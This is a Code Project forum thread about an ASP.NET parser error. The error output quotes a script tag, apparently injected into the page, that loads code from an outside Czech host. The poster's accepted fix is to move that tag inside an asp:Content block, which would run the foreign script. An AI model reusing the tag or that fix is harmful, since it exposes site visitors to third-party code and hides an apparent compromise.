Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
  1. Home
  2. Web Development
  3. ASP.NET
  4. Parser error...

Parser error...

Scheduled Pinned Locked Moved ASP.NET
javascriptcsharphelpphpcss
8 Posts 4 Posters 0 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • R Offline
    R Offline
    RajpootRohan
    wrote on last edited by
    #1

    Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code: <%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra

    A S N R 4 Replies Last reply
    0
    • R RajpootRohan

      Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code: <%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra

      A Offline
      A Offline
      Abhijit Jana
      wrote on last edited by
      #2

      Your Application is hosted on IIS or it is running from VS ? Is it is from IIS what is the Framework version over there ?

      Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.

      R 2 Replies Last reply
      0
      • R RajpootRohan

        Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code: <%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra

        S Offline
        S Offline
        sumans4324
        wrote on last edited by
        #3

        I think u did right, any way try designing the same code using .net 3.5 ver if possible.Good luck.

        1 Reply Last reply
        0
        • A Abhijit Jana

          Your Application is hosted on IIS or it is running from VS ? Is it is from IIS what is the Framework version over there ?

          Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.

          R Offline
          R Offline
          RajpootRohan
          wrote on last edited by
          #4

          Thank you replying. It is working fine on local host. When I uploaded it to the server, It worked fine for a day. Next day I got this error. Then after googling I removed all the xml tags () and again uploaded it to the server. It worked fine. Then after some time it again showed the error.

          cheers, sneha

          A 1 Reply Last reply
          0
          • A Abhijit Jana

            Your Application is hosted on IIS or it is running from VS ? Is it is from IIS what is the Framework version over there ?

            Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.

            R Offline
            R Offline
            RajpootRohan
            wrote on last edited by
            #5

            I am developing with asp.net 3.5 and the same is on the server.

            cheers, sneha

            1 Reply Last reply
            0
            • R RajpootRohan

              Thank you replying. It is working fine on local host. When I uploaded it to the server, It worked fine for a day. Next day I got this error. Then after googling I removed all the xml tags () and again uploaded it to the server. It worked fine. Then after some time it again showed the error.

              cheers, sneha

              A Offline
              A Offline
              Abhijit Jana
              wrote on last edited by
              #6

              What is the Virtual Directory Framework Version on IIS ?

              Abhijit Jana | Codeproject MVP Web Site : abhijitjana.net Don't forget to click "Good Answer" on the post(s) that helped you.

              1 Reply Last reply
              0
              • R RajpootRohan

                Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code: <%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra

                N Offline
                N Offline
                Nigel Ferrissey
                wrote on last edited by
                #7

                Something is adding that <script> block to your page, so asp.net then throws an error because there is something outside an <asp:Content> block - which is not allowed. The first thing I would do is check IIS to make sure that there is nothing set to automatically include the block.</x-turndown>

                1 Reply Last reply
                0
                • R RajpootRohan

                  Hello friends, I am stucked in a problem and I am not getting any solution. The page is giving a parser error: Server Error in '/' Application. Parser Error Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls. Source Error: Line 97: Line 98: Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script> Source File: /index.aspx Line: 99 Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082 I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using (xml tags) and instead of But they didn't worked for me. Please assist me. Here is the code: <%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %> <asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"> <link rel="stylesheet" type="text/css" href="css/style.css" /> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script> <script type="text/javascript"> $(document).ready(function(){ $("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true); }); </script> </asp:Content> <asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"> <div id="featured" > <ul class="ui-tabs-nav"> <li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li> <li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li> <li class="ui-tabs-nav-item" id="nav-fra

                  R Offline
                  R Offline
                  RajpootRohan
                  wrote on last edited by
                  #8

                  Thanks for the replies. I got the solution. Actually I have to move the script tag inside a asp:Content tag.

                  cheers, sneha

                  1 Reply Last reply
                  0
                  Reply
                  • Reply as topic
                  Log in to reply
                  • Oldest to Newest
                  • Newest to Oldest
                  • Most Votes


                  • Login

                  • Don't have an account? Register

                  • Login or register to search.
                  • First post
                    Last post
                  0
                  • Categories
                  • Recent
                  • Tags
                  • Popular
                  • World
                  • Users
                  • Groups